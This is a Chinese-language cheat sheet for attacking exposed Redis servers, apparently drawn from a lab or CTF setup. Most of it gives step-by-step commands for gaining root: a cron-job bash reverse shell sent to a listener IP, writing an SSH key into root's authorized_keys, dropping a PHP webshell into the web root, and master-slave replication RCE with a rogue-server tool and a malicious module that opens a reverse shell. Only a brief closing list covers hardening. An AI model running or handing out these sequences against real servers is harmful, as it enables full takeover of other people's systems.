一:利用计划任务反弹shell
namp扫描目标6379端口:
nmap -A 192.168.200.143 -p 6379
尝试连接:
nc 192.168.200.143 6379
kali监听9999端口:
nc -lvnp 9999
连接主机:
redis-cli -h 192.168.200.143
设置键反弹shell:
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.200.130/9999 0>&1\n"
设置导出目录:
config set dir /var/spool/cron/
设置文件名:
config set dbfilename root
保存:
save
二:密钥登录SSH
生成密钥公钥:
ssh-keygen -t rsa
防止报错 导出到key.txt文件:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
导入内容:
cat key.txt | redis-cli -h 192.168.0.129 --pass welcometowangdingbeissrfme6379 -x set xxx
--pass是登录密码 无密码可不填
设置路径
config set dir /root/.ssh
设置文件名
config set dbfilename authorized_keys
保存
save
ssh 登录
ssh -i id_rsa root@192.168.0.108
三:写webshell
设置目录:
config set dir /var/www/html/
设置文件名:
config set dbfilename shell.php
写shell:
set x "<?php phpinfo();?>"
保存:
save
浏览器访问:
192.168.200.129/shell.php
四:利用主从复制RCE
下载文件:
git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
python3运行:
python3 redis_rogue_server.py -rhost 192.168.200.129 -lhost 192.168.200.130 -passwd welcometowangdingbeissrfme6379
kali监听2333端口:
nc -lnvp 2333
运行输入:
r 192.168.200.130 2333
连接到目标主机:
connect to [192.168.200.130] from (UNKNOWN) [192.168.200.129] 39042 id uid=0(root) gid=0(root) groups=0(root)
五:利用主从复制RCE反弹shell
kali:
监听2333端口:
nc -lnvp 2333
开启redis:
python3 redis_rogue_server.py -v -path exp.so
靶机中连接redis:
./redis-cli auth welcometowangdingbeissrfme6379
设置导入目录:
config set dir /tmp
设置导入文件:
config set dbfilename exp.so
同步
slaveof 192.168.200.130 15000
导入
module load ./exp.so
断开:
slaveof NO ONE
查看模块
module list
反弹:
system.rev 192.168.200.130 2333
监测端口输入
python -c 'import pty;pty.spawn("/bin/bash")'
六:redis安全防御
1、单独为redis设置一个普通账号 启动redis
2、设置本地 localhost 不允许外部访问
3、保护模式开启 protected-mode 开启
4、更改端口
5、requirepass 设置redis密码